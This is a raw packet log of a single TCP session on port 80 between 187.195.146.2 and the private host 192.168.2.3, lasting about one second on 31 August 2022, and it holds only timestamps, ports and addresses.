Aug 31, 2022 08:34:14.675091982 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.675112009 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.675129890 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.675128937 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.675169945 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.675177097 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.681932926 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.681965113 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.681982040 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.682001114 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.682022095 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.682038069 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.682059050 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.682059050 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.682080030 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.682080030 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.682084084 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.682096958 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.682126999 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.684983969 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.685017109 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.685033083 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.685054064 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.685074091 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.685092926 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.685115099 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.685127974 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.685149908 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.685165882 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.685168028 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.685184956 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.685204983 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.685213089 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.685220957 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.685239077 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.685241938 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.685260057 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.685271978 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.685275078 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.685342073 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.688107014 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.688138962 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.688154936 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.688287973 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.706362009 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.706393957 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.706409931 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.706639051 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.756516933 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.756545067 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.756567001 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.756582975 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.756589890 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.756604910 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.756617069 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.756623983 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.756639004 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.756643057 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.756683111 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.808193922 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.808233023 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.808248997 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.808295012 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.816407919 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.816447020 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.816459894 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.819610119 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.820553064 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.820590019 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.820610046 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.820636034 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.820660114 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.820678949 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.820698023 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.820710897 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.820734024 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.820749044 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.820772886 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.820796013 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.820817947 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.820822001 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.820838928 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.820839882 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.820854902 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.820873976 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.820875883 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.820889950 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.820894957 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.820914030 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.824466944 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.824502945 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.824512959 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.824703932 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.828103065 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.828258038 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.828274012 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.828291893 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.828308105 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.828325987 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.828332901 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.828341007 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.828360081 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.828367949 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.828373909 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.828393936 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.828398943 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.828407049 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.828425884 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.828428984 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.828444958 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.828458071 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.828459024 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.828491926 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.828516006 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.831585884 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.831619978 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.831635952 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.831656933 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.831679106 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.831693888 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.831715107 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.831726074 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.831737041 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.831758976 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.831774950 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.831784010 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.831795931 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.831819057 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.831820965 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.831846952 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.831867933 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.831880093 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.831888914 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.831908941 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.835163116 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.835196972 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.835220098 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.835237026 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.835257053 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.835278034 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.835293055 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.835314035 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.835334063 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.835340977 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.835381031 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.835382938 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.835386992 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.835410118 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.842029095 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.842066050 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.842081070 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.842102051 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.842124939 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.842139006 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.842169046 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.842209101 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.844975948 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.845010042 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.845026016 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.845048904 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.845065117 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.845081091 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.845087051 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.845104933 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.845108986 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.845145941 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.845169067 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.847847939 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.847881079 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.847898006 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.847918034 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.847934008 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.847953081 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.847956896 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.847978115 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.848000050 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.848006964 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.848022938 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.848037958 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.848057985 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.848058939 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.848073959 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.848092079 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.848098040 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.848114967 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.848121881 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.848134995 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.848150015 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.848156929 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.848170042 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.848182917 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.848193884 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.848228931 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.850753069 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.850783110 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.850797892 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.850855112 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.865781069 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.865818977 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.865835905 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.865883112 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.865928888 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.912295103 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.912339926 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.912358046 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.912377119 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.912398100 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.912416935 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.912447929 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.912486076 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.979923010 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.979967117 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.979985952 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.980009079 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.980031013 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.980047941 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.980070114 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.980094910 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.980109930 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.980132103 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.980133057 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.980149984 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.980169058 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.980171919 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.980194092 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.980204105 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.980210066 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.980231047 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.980232954 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.980252981 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.980256081 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.980354071 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.983978987 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.984031916 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.984042883 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.984060049 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.984081984 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.984105110 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.984121084 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.984119892 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.984143019 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.984164953 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.984179974 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.984184980 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.984200954 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.984222889 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.984240055 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.984242916 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.984261990 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.984273911 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.984285116 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.984299898 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.984302044 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.984349966 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.987864971 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.987905979 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.987922907 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.987946033 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.987962008 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.987970114 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.987987041 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.988004923 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.988008976 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.988034010 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.988049030 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.988060951 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.988071918 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.988084078 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.988095045 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.988111019 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.988116026 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.988133907 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.988156080 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.988157034 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.988172054 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.988193989 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.988195896 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.989104033 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.991713047 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.991739035 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.991760969 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.991782904 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.991800070 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.991821051 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.991843939 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.991858006 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.991859913 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.991880894 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.991885900 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.991904020 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.991906881 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.991919994 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.991940975 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.991945028 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.991964102 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.991981030 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.991983891 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.992002010 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.992023945 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.992033005 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.992039919 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.992069960 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.999705076 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.999743938 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.999762058 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.999784946 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.999808073 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.999824047 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.999826908 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.999846935 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.999871016 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.999887943 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.999901056 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.999910116 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.999931097 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.999933004 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.999948025 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.999993086 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.005930901 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.005978107 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.007220030 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.008737087 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.008776903 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.008799076 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.008822918 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.008843899 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.008862972 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.008877993 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.008886099 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.008900881 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.008923054 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.008945942 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.008959055 CEST	49750	80	192.168.2.3	187.195.146.2
